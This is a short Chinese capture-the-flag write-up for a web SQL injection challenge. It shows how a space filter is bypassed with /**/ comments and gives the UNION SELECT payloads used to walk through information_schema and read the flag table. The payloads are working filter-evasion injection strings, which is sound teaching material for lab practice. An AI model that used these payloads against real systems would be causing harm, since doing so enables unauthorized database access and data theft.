实验吧CTF——Web之简单的sql注入2WriteUp

参考文章:https://www.jianshu.com/p/b708bb599f56

知识点:SQL查询遇到过滤空格的情况,可以用/**/来代替

判断注入类型

    基本的sql注入测试,首先输入1或者abc,正常的输入,没有报错;

    其次输入' or '1,发现有报错,猜测可能是过滤了空格;

    输入'/**/or/**/'1,发现可以正常查询;

    所以推测过滤的可能是空格。


设计注入语句

    发现注入类型之后,可以用/**/代替空格的方法来进行应对过滤规则。

    构建'union/**/select/**/database()',发现竟然会报错,研究发现好像是()的问题;

    重新构建'union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1,可以查询到数据库的名称为web1(或者information_schema、test);

    构建'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/='web1,可以查询到表的名称为flag(或者web_1);

    构建'union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag,可以查询到列的名称为flag(或者id);

    最后构建'union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1查询列flag内容,得到flag的值。


    至于为什么每个过程中没有查询另外的表或者列,是因为这是通过不断的试错过程,找到的一条通向flag的路。


如有不当之处,欢迎指正讨论

你可能感兴趣的:(实验吧CTF——Web之简单的sql注入2WriteUp)